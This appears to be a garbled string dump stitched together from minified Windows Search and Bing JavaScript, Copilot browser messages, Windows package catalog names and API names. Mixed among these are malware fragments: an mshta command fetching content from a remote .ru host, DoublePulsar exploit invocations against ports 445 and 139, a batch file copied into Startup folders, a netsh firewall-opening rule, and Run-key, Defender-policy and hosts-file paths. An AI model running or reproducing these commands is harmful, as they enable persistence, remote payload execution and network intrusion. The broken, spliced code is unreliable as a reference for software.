0:t.dynamicContentEndpoint,endpoint:t===null||t===void 0?void 0:t.endpoint,isFirstPartyStubApp:t===null||t===void 0?void 0:t.isFirstPartyStubApp,protocol:t===null||t===void 0?void 0:t.protocol,installedDate:t===null||t===void 0?void 0:t.installedDate,getLogoAsDataUriAsync:t===null||t===void 0?void 0:t.getLogoAsDataUriAsync};n.LightweightStorage.setItem(this._3pMRUCacheKey,JSON.stringify(i))lers"))}t._lastKeyWasEnter=u});t.bindKeyUp(n=>{t._lastKeyWasEnter=!1;switch(n){case 16:t._modifierKeyState.shiftKey=!1;break;case 17:t._modifierKeyState.ctrlKey=!1}});t.bindOnFeedbackClosing(n=>{n&&t.setFocusInSearchBox(null,"onFeedbackClosing")});(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.refreshWhenTokenArrives)&&t.bindAccessTokenAvailable(i=>{const u=i==1?n=>n.dataSource=="SSEE"||n.dataSource=="SSUE":n=>n.dataSource=="SSEC"||n.dataSource=="SSUC";t._currentQuery&&(t._currentQuery.queryToFetch.length>=n.config.minLengthFor3SonL1||n.isL2(t._currentQuery))&&t._currentQuery.originalQuery==r.getQueryText().queryText&&n.ScopeConfig[t._currentQuery.scope].enabledDataSources.some(u)&&t.refreshCurrentPane()});_G.PN="QF";t._edgeIconCache=n.Async.safeChainWithGlobalCaching("edgeIcon",t=>e.deviceSearch.findAppsAsync(n.EdgeAppIds).then(i=>{let r=n.EdgeAppIds.map(n=>i[n]).filter(n=>!!n)[0];return r.getImageAsync(n.getImageSizeValue(t)).then(n=>o(n,"edgeIcon",null,r.isImmersive?r.logoBackgroundColor:null))}),n=>n+"_edgeIcon");sj_evt.bind("onFeedbackStarting",([,n]=[undefined,undefined])=>{t._feedbackFormIsVisible=!0,t._feedbackFormIsOpenedByClient=n,t.adjustHeight()});sj_evt.bind("onFeedbackClosing",()=>{t._feedbackFormIsVisible=!1,t.adjustHeight(),t._onFeedbackClosingHandlers.forEach(i=>n.safeExecute(()=>i(t._feedbackFormIsOpenedByClient),"onFeedbackClosing handlers"))});t.initCloudSearch();t.initSettings();t.setFindSharedFilesEnabled();t.setCopilotInstallationStatus();t.setSelectedAssistantApp();((c=t._assistantApp)===null||c===void 0?void 0:c.addEventListener)&&t._assistantApp.addEventListener("supportedAssistantsChanged",()=>{n.safeExecute(()=>t.setSelectedAssistantApp(),"supportedAssistantsChanged")});n.config.suppressASEntity&&t.setWindowsInstalledApps();t._accessTokenManager&&(t._accessTokenManager.bindAccessTokenAvailable((n,i,r)=>{t._accessTokenAvailableHandlers.forEach(t=>t(n)),r===3&&t.refreshCurrentPane()}),t._accessTokenManager.bindAccountTypesChanged(()=>t.updateScopeList()),t.ensureAuthority(t._qfDismissCount),n.canShowSearchHomeAIFeed()&&(t._accessTokenManager.bindSelectedAccountChanged(()=>{const i=n.AccessTokenManager.getWindowsAccountType();i!=1&&t.getUserDisplayName()}),t.bindBootstrapDone(()=>{const i=n.AccessTokenManager.getWindowsAccountType();i!=1&&t.getUserDisplayName()})));(n.osSKUCache==undefined||n.osSKUCache==0)&&ThresholdUtilities.getOsSKU(t=>{switch(t){case"4":n.osSKUCache=4;break;case"48":n.osSKUCache=48;break;case"101":n.osSKUCache=101;break;case"27":n.osSKUCache=27;break;default:n.osSKUCache=0}n.config.enableWindowsActivated&&this.setEligibileWindowsActivation(t)});n.config.enableWIPCheck&&ThresholdUtilities.getCortanaHeaders(n=>{n?t.setIsWIPOrInternalAudience(n):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("setIsWIPOrInternalAudience",undefined,"get Cortana headers failed")})}static setEligibileWindowsActivation(t){switch(t){case"98":n.osSKUCache=98;break;case"99":n.osSKUCache=99;break;case"100":n.osSKUCache=100;break;case"49":n.osSKUCache=49;break;case"138":n.osSKUCache=138;break;case"139":n.osSKUCache=139;break;case"161":n.osSKUCache=161;break;case"162":n.osSKUCache=162}const i=new Set([98,99,100,101,48,49,138,139,161,162]);n.isEligibleWindowsActivationOsSKU=i.has(n.osSKUCache)}static isSearchSuspensionAPIEnabled(){var t;return((t=n.config.enableSearchSuspensionAPI)!==null&&t!==void 0?t:!1)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45687739))}static callSearchSuspensionAPI(){if(t.isSearchSuspensionAPIEnabled()&&t.isAppHidden&&!t.hasSuspend)try{t.hasSuspend=!0;var n=SearchAppWrapper.CortanaApp.enableSearchSuspension()}catch(i){}}static refreshDefaultBrowserInfoAsync(){if(t._defaultBrowser=0,i.getDefaultBrowserInfo){let r=n.safeExecute(()=>i.getDefaultBrowserInfo(),"getDefaultBrowserInfo");r&&(t._defaultBrowser=t.calculateBrowserType(r.path),t._defaultBrowserIconCache=e.deviceSearch.getIconForDefaultBrowserAsync&&t.getUriLaunchPolicy()==0&&t._defaultBrowser!=3?n.AsygetClipboardDataAsync("Text")).then(n=>{var i;const r=typeof n=="string"?n:"";t.setQuery((i=r===null||r===void 0?void 0:r.substring(0,40))!==null&&i!==void 0?i:"",!1,!0)}).catch(t=>{n.LogWSBError("getClipboardDataAsync",null,t,undefined,undefined,"WindowsTelemetry")}),t._showCopySearchGleam&&t.resetGleamToDefaultAsync()}),t._accessTokenManager.bindAccountTypesChanged(()=>{n.AccessTokenManager.getWindowsAccountType()!==0&&t.resetGleamToDefaultAsync()}));sj_evt.bind("ajax.feedback.initialized",sj_dm(this,t.registerFeedbackDebugCallback),!0);n.config.enableSearchSuspensionAPI&&t.bindBootstrapDone(()=>{Log2&&Log2.SetOnInstrumentDone&&Log2.SetOnInstrumentDone(this.callSearchSuspensionAPI)});n.config.enableWSBSharedFeatures&&t.bindBootstrapDone(()=>{var i,r,u,f,e,o,t;Log2&&Log2.SetFeatures&&(o=undefined,(n.config.wsb_Shared_NumberFeature1||n.config.wsb_Shared_NumberFeature2||n.config.wsb_Shared_NumberFeature3||n.config.wsb_Shared_NumberFeature4||n.config.wsb_Shared_NumberFeature5)&&(o=[(i=n.config.wsb_Shared_NumberFeature1)!==null&&i!==void 0?i:0,(r=n.config.wsb_Shared_NumberFeature2)!==null&&r!==void 0?r:0,(u=n.config.wsb_Shared_NumberFeature3)!==null&&u!==void 0?u:0,(f=n.config.wsb_Shared_NumberFeature4)!==null&&f!==void 0?f:0,(e=n.config.wsb_Shared_NumberFeature5)!==null&&e!==void 0?e:0]),t=[],n.config.wsb_Shared_StringFeature1&&t.push(n.config.wsb_Shared_StringFeature1),n.config.wsb_Shared_StringFeature2&&t.push(n.config.wsb_Shared_StringFeature2),n.config.wsb_Shared_StringFeature3&&t.push(n.config.wsb_Shared_StringFeature3),n.config.wsb_Shared_StringFeature4&&t.push(n.config.wsb_Shared_StringFeature4),n.config.wsb_Shared_StringFeature5&&t.push(n.config.wsb_Shared_StringFeature5),t.length==0&&(t=undefined),Log2.SetFeatures(o,t))});t.bindAppVisible(async()=>{t.isAppHidden=!1,t.hasSuspend=!1,await t.appVisibleInit()});t.bindShown(r=>{var f,e,o;if(n.safeFireEvent("ajax.threshold.pageStart",r),t.shownInit(),!t._qfDisabled){let u=t.getNewConversationId();if(n.updateErrorHandlingCVID(u),n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56524881)){let t=(f=n.config.completeFakeTipDelay)!==null&&f!==void 0?f:0;t>0?(t+=(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(60672206))?300:0,n.safeSetTimeout(()=>{var n;(n=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||n===void 0?void 0:n.notifyFakeSearchTestCompleted()},t,"CortanaApp NotifyFakeSearchTestCompleted")):(e=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||e===void 0?void 0:e.notifyFakeSearchTestCompleted()}t._currentCVID!=u&&(t._currentCVID=u,t._randomPrivacyNumber=t.getNewPrivacyNumber(),t._conversationStartEventHandlers.forEach(t=>n.safeExecute(()=>t(),"conversationStart")),n.config.testFlight!=undefined&&((o=this._accessTokenManager.getSelectedAccountInfo())===null||o===void 0?void 0:o.accountProviderAuthority)=="consumers"&&n.InstrumentationHelper.logFlightState("testFlight",n.config.testFlight==1),t._wsbEnableRandomization=!1,n.config.wsbEnableRandomization&&["WNSBOX","WNSDSB","WNSGLY","WNSGBC"].some(n=>n==i.entryPoint)&&(n.config.wsbRandomizationProbability==1||Math.random()<n.config.wsbRandomizationProbability)&&(t._wsbEnableRandomization=!0));t._lastKeyWasEnter=!1}});n.config.dsbEnumAccount&&t.bindDynamicSearchBoxUpdate(()=>{const n=t._qfDismissCount;return t.ensureAuthority(n),Promise.resolve()});t.bindDismissed(()=>{t._qfDismissCount+=1,n.config.disableWSBServerTelemetry&&n.isThirdPartySearchAllowed()&&t.isOptionalDiagnosticDataDisabled()||n.safeFireEvent("threshold.pageUnload"),t.dismissCleanup()});t.bindAppHidden(()=>{t.isAppHidden=!0,t._paneCloseCount+=1,t.appHiddenCleanup(),t.uploadClientErrorLog()});t.bindKeyDown((i,r)=>{t._modifierKeyState=r;let u=i==13;if(u&&!t._lastKeyWasEnter&&!(n.isMsbWorkShortcutsAvailable===null||n.isMsbWorkShortcutsAvailable===void 0?void 0:n.isMsbWorkShortcutsAvailable(i,r))){let i=n.getCurrentTime();t._onSubmitHandlers.forEach(t=>n.safeExecute(()=>t(i,!1,r),"onSubmit hand2){let n=t._state==0?2:0;n==2&&(t._currentCVID=null);t.updateState(t._state,n,!1);return}}if(t._qfDisabled){if(i.hostingEnvironment==3&&f==13){let n=r.getQueryText().queryText;i.fileExplorerSuggestionPage.onSuggestionSelection(n)}if(n.config.wsbWithCopilotQF&&t._inConversationMode){let i=r.getQueryText().queryText;if(f==13){t._onEnterChatHandlers.forEach(t=>n.safeExecute(()=>t(i),"onEnter"));r.setQueryText("",!1);return}}return}if((n.config.wsbWebView2||f!=9)&&!n.isFunctionalKey(f)){if(f==27){t.keyDownEscapeHandler();return}let e={shiftKey:u.isShiftKeyPressed,ctrlKey:u.isControlKeyPressed,altKey:!1},o=u.isHandled;n.InstrumentationHelper.instrumentKeyDown(n.getCurrentTime());t._keyDownHandlers.forEach(t=>n.safeExecute(()=>t(f,e,o),"keyDown"))}});SearchAppWrapper.CortanaApp.addEventListener("experiencelaunched",()=>{var t;n.isWorkScopeDsbGleamRedirectOnHoverAllowed()&&((t=SearchAppWrapper.CortanaApp.queryFormulationView)===null||t===void 0?void 0:t.previousExperience)==="DSBHover"&&SearchAppWrapper.CortanaApp.experienceId==="MergedHome"&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.switchScope(!0))});sj_b.addEventListener("keydown",i=>{if(!t._qfDisabled){let r=i.keyCode;if(n.config.debugDismissEvents){if(r==121){t.updateState(t._state,1,!1);return}if(r==122){let n=t._state==0?2:0;n==2&&(t._currentCVID=null);t.updateState(t._state,n,!1);return}}if(!n.isFunctionalKey(r)){r!=9||t._feedbackFormIsVisible||i.preventDefault();let f=n.RuntimeConfig.AlwaysWide,u=i.target;if(u){if(r==27){if(t._feedbackFormIsVisible){t.closeFeedbackForm();return}t.keyDownEscapeHandler();return}if(this._feedbackFormIsVisible){let n=_ge("fbpgdg");if(n&&n.contains(u))return}if(!f&&n.RuntimeConfig.PreviewPaneAvailable&&n.StaticHtmlElements.qfPreviewPane&&n.StaticHtmlElements.qfPreviewPane.contains(u)&&(!n.DialogBox||n.DialogBox.isVisible()))if(r==37)sj_pd(i);else return}n.contains([38,40],r)&&sj_pd(i);t._keyDownHandlers.forEach(t=>n.safeExecute(()=>t(i.keyCode,i,!1),"body.keyDown"))}}});r.addEventListener("keyup",i=>{if(!t._qfDisabled){let r=i.keyCode;if(r!=9&&!n.isFunctionalKey(r)){let u={shiftKey:i.isShiftKeyPressed,ctrlKey:i.isControlKeyPressed,altKey:!1},f=i.isHandled;t._keyUpHandlers.forEach(t=>n.safeExecute(()=>t(r,u,f),"keyUp"))}}});sj_b.addEventListener("keyup",i=>{if(!t._qfDisabled){let r=i.keyCode;n.isFunctionalKey(r)||t._keyUpHandlers.forEach(t=>n.safeExecute(()=>t(r,i,!1),"keyUp"))}});r.addEventListener("gotfocus",()=>{t._qfDisabled||(n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),t._searchBoxGotFocusEventHandlers.forEach(t=>n.safeExecute(()=>t(),"gotfocus")))});r.addEventListener("lostfocus",()=>{t._qfDisabled||t._searchBoxLostFocusEventHandlers.forEach(t=>n.safeExecute(()=>t(),"lostfocus"))});r.addEventListener("submitbuttonclick",()=>{if(!t._qfDisabled){let r=n.getCurrentTime(),i=t.getFeatureString("SubmitButtonGlyph").featureValue;i&&i!="
MICROSOFTWINDOWS.CROSSDEVICE_CW5N1H2TXYEWY!SETTINGSUXHOSTAPP
MICROSOFTWINDOWS.CLIENT.OOBE_1000.26100.32.0_X64__CW5N1H2TXYEWY
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates thandBarMouseOverBackgroundMiddle1">
 Microsoft.Windows.System.Power.winmd
.?AVDispatchedHandler@Core@UI@Windows@@
.?AU__abi_IDelegate@DispatchedHandler@Core@UI@Windows@@
get.windows(
MicrosoftWindows.Cross`
s\system32\rundll32
s\system32\cmj
Microsoft.Windows.WinRTClassActivation
%systemroot%\system32\shell32.dll,4useautoplay=1
copy%0c:\windows\alluse~1\destkop\network89.batcopy%0c:\windows\alluse~1\startm~1\network89.bat
re working on getting them together. Try back in a few minutes.","Windows is still indexing this PC. Some results may not show in search yet.","Search results may be incomplete","See indexing status","Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to see indexing status.","Dismiss","Search results may be incomplete, Windows is still indexing this PC, some results may not show in search yet, click to dismiss.","Work","work results","Search in 
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
 .exec "c:\windows\explorer " & 
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
USERDOMAIN=Windows11$
windir=C:\WINDOWSa
copy.copyfile"c:\windows\system32\windowspowershell\v
17c^com.microsoft.windows.services.experiences
236^com.microsoft.windows.terminal.host
e:function(){return location.href}}];n.Core.GetLocation=function(){return e(s)};n.Core.GetISODate=function(n){return Date.prototype.toISOString?n.toISOString():n.getUTCFullYear()+"-"+i(n.getUTCMonth()+1)+"-"+i(n.getUTCDate())+"T"+i(n.getUTCHours())+":"+i(n.getUTCMinutes())+":"+i(n.getUTCSeconds())+"."+String((n.getUTCMilliseconds()/1e3).toFixed(3)).slice(2,5)+"Z"};n.Core.AddUrlParam=function(n,t,i){var r=n;return t&&t.length>0&&i&&(r=r+(r.indexOf("?")>=0?"&":"?")+t+"="+encodeURIComponent(i)),r};n.Core.AddInstToUrl=function(t){var u=_w.feedback,i,f,r;return u&&u.config&&u.config.postIgEnabled&&(t=n.Core.AddUrlParam(t,"IG",_G.IG),i=_w.fbpkgiid,f=i&&i.page,f&&(t=n.Core.AddUrlParam(t,"iid",f),r=i&&i.sfx,isNaN(r)?r=1:r++,i.sfx=r,t=n.Core.AddUrlParam(t,"sfx",r))),t};n.Core.IsEmptyObject=function(n){for(var t in n)return!1;return!0};h=/\s+$/;c=/^\s+/;n.Core.Trim=function(n){return n.trim?n.trim():n.replace(c,"").replace(h,"")};n.Core.IndexOf=function(n,t){var i;if(n.indexOf)i=n.indexOf(t);else{for(i=0;i<n.length;i++)if(n[i]===t)break;i=i<n.length?i:-1}return i};n.Core.EnableValidation=function(i,r){var u=function(t){var i=sj_et(t),u;i&&(!!r==!1&&v(i),u=n.Core.GetTextInputValue(i),u&&u.length!==0||(Lib.CssClass.add(i,"active"),i.value=""))},f=function(n){var i=sj_et(n),r;i&&(w(),t.RemoveTextError(i),r=_w.feedback&&_w.feedback.config&&_w.feedback.config.dialog&&_w.feedback.config.dialog.emulatePlaceholderText,i.value.length===0&&r&&(Lib.CssClass.remove(i,"active"),i.value=i.getAttribute("data-txt")))},e=function(n){var t=sj_et(n);t&&v(t)};n.Core.ForEach(i.querySelectorAll('textarea, input[type="text"]'),function(n){sj_be(n,"blur",f);sj_be(n,"change",f);r?(sj_be(n,"focus",e),sj_be(n,"keydown",u),sj_be(n,"tap",u),sj_be(n,"taphold",u),sj_be(n,"mouseup",u),sj_be(n,"click",u)):sj_be(n,"focus",u)})};n.Core.ValidateInputs=function(i){var f=i.querySelectorAll('input[type="text"][data-err]:enabled, textarea[data-err]:enabled'),u=!0,r=null;return n.Core.ForEach(f,function(i){var f=i,e=f.getAttribute("data-depends-on"),o=typeof e=="string"&&e.length>0&&_ge(e),s=f.value;if(o&&!o.checked||!o&&f.getAttribute("data-optional")){t.RemoveTextError(f);return}f.id===n.Core.verbatimTxtId&&n.CheckboxMenus&&n.CheckboxMenus.IsAtLeastOneItemChecked()||(t.GetTextInputValue(f).length===0||n.Core.Trim(s)==="")&&(_w.feedback.config.dialog.dynamicSubmitButton||(t.AddTextError(f),r||(r=f,r.focus())),u=!1)}),u&&p(i)};n.Core.GetTextInputValue=function(n){if(!n)return"";var t=n.value;return(t===n.getAttribute("data-txt")||t===n.getAttribute("data-err"))&&(t=""),t};n.Core.GetTextInputErrorElement=function(n){return!n||!n.id?null:_ge(n.id+"_error")};n.Core.RemoveTextError=function(n){Lib.CssClass.remove(n,"error");var i=t.GetTextInputErrorElement(n);i&&!t.IsHidden(i)&&(n.removeAttribute("aria-describedby"),t.Hide(i))};n.Core.AddTextError=function(n){var i,r;Lib.CssClass.add(n,"error");i=t.GetTextInputErrorElement(n);i&&t.IsHidden(i)&&(r=i.getAttribute("id"),r&&n.setAttribute("aria-describedby",r),t.Show(i,"inline-block"))};n.Core.LoopFocus=function(n){var e,i,o,h,s,r,l;if(n){var u=null,f=null,c=n.querySelectorAll("*");for(e=0;e<c.length;e++)if(i=c[e],o=!1,i instanceof HTMLInputElement||i instanceof HTMLSelectElement||i instanceof HTMLTextAreaElement||i instanceof HTMLButtonElement?(h=i,o=!h.disabled&&!h.readOnly):i instanceof HTMLAnchorElement&&(o=!!i.href),o&&!t.IsHidden(i)){for(s=i,r=s;r!==n&&!t.IsHidden(r);)r=r.parentNode;l=r!==n;l||(u===null&&(u=s),f=s)}u&&f&&(sj_be(u,"keydown",function(n){n.key!=="Tab"||!n.shiftKey||n.ctrlKey||n.altKey||(n.preventDefault(),f.focus())}),sj_be(f,"keydown",function(n){n.key!=="Tab"||n.shiftKey||n.ctrlKey||n.altKey||(n.preventDefault(),u.focus())}))}};n.Core.ForEach=function(n,t){for(var r,u,i=0;i<n.length;i++)if(r=n[i],u=t(r),u===!1)break};n.Core.WindowScrollTop=function(){return _w.pageYOffset||r&&_d.documentElement.scrollTop||_d.body.scrollTop};n.Core.WindowScrollLeft=function(){return _w.pageXOffset||r&&_d.documentElement.scrollLeft||_d.body.scrollLeft};n.Core.Width=function(n){return l(n,"Width")};n.Core.Height=function(n){re0\r
https://www.bing.com/rp/Fr8al0bcHYFE8xpIwqyz-7vK0tg.br.jsvar Microsoft,__extends,WindowsFeedback,Feedback;(function(n){var t;(function(t){"use strict";function e(t){for(var f=null,r,i,u=0;u<t.length;u++){r=t[u];try{i=r.provide()}catch(e){n.le("Query provider ".concat(r.name," failed"),e)}if(typeof i=="string"&&i.length>0){f=i;break}}return f}function p(t){var u=t.querySelectorAll('input[type="radio"][required][name]'),i=!0,r;return n.Core.ForEach(u,function(n){var r=n.getAttribute("name"),u='input[type="radio"][required][name="'+r+'"]:checked',f=t.querySelector(u)!==null;i=i&&f}),r=t.querySelectorAll('input[type="checkbox"][required][groupname]'),n.Core.ForEach(r,function(n){var r=n.getAttribute("groupname"),u='input[type="checkbox"][required][groupname="'.concat(r,'"]:checked'),f=t.querySelector(u)!==null;i=i&&f}),i}function l(t,i){var r,u;return t===window?t.document.documentElement["client".concat(i)]:t.nodeType===9?(r=t.documentElement,u=t.body,Math.max(u["scroll".concat(i)],u["offset".concat(i)],r["scroll".concat(i)],r["offset".concat(i)],r["client".concat(i)])):parseFloat(n.Core.GetComputedStyle(t)[i.toLowerCase()])}function a(n,t,i){var u={},f;for(var r in t)u[r]=n.style[r],n.style[r]=t[r];f=i(n);for(r in t)n.style[r]=u[r];return f}function w(){y(!1)}function v(n){y(!0,n)}function y(t,i){n.Core.ForEach(_d.querySelectorAll('input[type="text"], input[type="search"]'),function(n){n.hasAttribute("data-depends-on")||t&&n===i||(n.disabled=t)})}function i(n){var t=String(n);return t.length===1&&(t="0"+t),t}var f,r,o,s,h,c,u;t.selectedElementClass="hlsrc";t.menuListClass="hlselcxmnlist";t.menuButtonClass="hlselcxmnbt";t.verbatimTxtId="fbpgdgtx";window._w=window._w||window;window._d=window._d||_w.document;f=_d.documentElement.matches||_d.documentElement.webkitMatchesSelector||_d.documentElement.mozMatchesSelector||_d.documentElement.oMatchesSelector||_d.documentElement.msMatchesSelector;r=document.compatMode==="CSS1Compat";t.spokenQuery=null;n.Core.GenerateString=function(n){for(var i="",r="abcdefghijklmnopqrstuvwxyz0123456789",t=0;t<n;++t)i+=r.charAt(Math.floor(Math.random()*r.length));return i};n.Core.GenerateHtmlId=function(t){return"f"+n.Core.GenerateString(t-1)};n.Core.Stringify=function(t){var i="",u=0,r;switch(typeof t){case"object":if(t instanceof Array){for(i+="[",r=0;r<t.length;r++)r>0&&(i+=","),i+=n.Core.Stringify(t[r]);i+="]"}else if(t instanceof Boolean||t instanceof Date||t instanceof Number||t instanceof String)i=t.toString();else{i+="{";for(r in t)t.hasOwnProperty(r)&&(u>0&&(i+=","),i+='"'+r+'":'+n.Core.Stringify(t[r]),u++);i+="}"}return i;case"boolean":case"number":return t.toString();case"string":return'"'+t.replace(/[\\]/g,"\\\\").replace(/[\"]/g,'\\"').replace(/[\/]/g,"\\/").replace(/[\b]/g,"\\b").replace(/[\f]/g,"\\f").replace(/[\n]/g,"\\n").replace(/[\r]/g,"\\r").replace(/[\t]/g,"\\t")+'"';default:return null}};n.Core.FetchLocalStorage=function(){try{if(_w.localStorage){var n="CB47C15FA3044AB884F7E32B9FD32ED2";return _w.localStorage.setItem(n,"1"),_w.localStorage.removeItem(n),_w.localStorage}}catch(t){return undefined}};o=[{name:"page",provide:function(){var n=_ge("sb_form_q");return n&&n.value}},{name:"threshold",provide:function(){var t="ThresholdUtilities",n=_w[t]||_w.parent[t];return n&&n.getDecodedQuery&&n.getDecodedQuery()}},{name:"cortana",provide:function(){var t="SearchAppWrapper",i=_w[t]||_w.parent[t],r=i&&i.CortanaApp,n=r&&r.searchBox;return n&&n.getQueryText&&n.getQueryText().queryText}},{name:"spokenquery",provide:function(){return t.spokenQuery}},{name:"urlparam",provide:function(){if(typeof URL!="function")return null;var n=new URL(t.GetLocation()),i;return n&&n.search&&n.search.match&&(i=n.search.match(/[?&]q=([^?&#]*)/i))&&i.length>=2?decodeURI(i[1]):null}}];n.Core.GetUserQuery=function(){return e(o)};s=[{name:"locmet",provide:function(){var n="sj_locmet";return typeof _w[n]=="object"&&_w[n].GetCurrentUrl()}},{name:"miniSerp",provide:function(){var t=window.self!==window.top,n;return t?(n=_d.querySelector("base[href]"),n&&n.href):null}},{name:"location",providA`0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Windows UpdateK
with Windows UpdateT
Psoftware\wow6432node\policies\microsoft\windows defender\real-time protection%s\%s.htakillall\AppData\Roaming\
software\microsoft\windows\currentversion\run
\Microsoft\Windows\
%s is an essential element in windows system configuration and management. %%s /c netsh advfirewall firewall add rule name="%s" dir=in action=allow service="%s" enable=yes
\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Uncheckit
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Embedded-KeyboardFilter-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Embedded-KeyboardFilter-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|6100.7840.cat|
WindowsOneDriveDesktopResyncDuration
be6cba0511c242e888b27d4b3e3e8734_WindowsOneDriveDesktopResyncCompleted
WindowsOneDriveDesktopResyncScope
WindowsOneDriveDesktopResyncReason
be6cba0511c242e888b27d4b3e3e8734_WindowsOneDriveDesktopResyncTriggered
WindowsOneDriveDesktopResyncType
WindowsOneDriveDesktopResyncServiceReason
c:\windows\system32\mshta.exeshortcutscript%windir%\system32\+http://a0671808.xsph.ru/basic/header.xml/f%windir%\system32\shell32.dll
overflowWindowState
pagerWindowState
%Microsoft Windows Production PCA 2011
EnumWindows
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
WindowsCompareStringOrdinal
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
linktowindows
microsoftdefenderforwindows
windows365
https://login.windows-ppe.net
%\system32\0
strfilename = fso.getspecialfolder(0).path & "\system32\drivers\etc\
2start::windowsfirewalladdapp()hjbotid:
windowstyle=7
aps.prod.windows.com
aps.prod.windows.com
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
 Windows
EnumThreadWindows
CascadeWindows
TileWindows
SetWindowsHookExW
UnhookWindowsHookEx
SLGetWindowsInformationDWORD
WindowsCreateSK
\Windowsa
system32\ossmtp|
puls.exe--outconfigb.txt--targetip%a%--targetport445--dllpayloadc:\windows\fonts\mysql\doublepulsar
puls.exe--outconfigt.txt--targetip%a%--targetport139--dllpayloadc:\windows\fonts\mysql\doublepulsar
umeration value="windows.appExecutionAlias"/>
      <xs:enumeration value="windows.barcodeScannerProvider"/>
      <xs:enumeration value="windows.localExperiencePack"/>
      <xs:enumeration value="windows.barcodeScannerPreviewProvider"/>
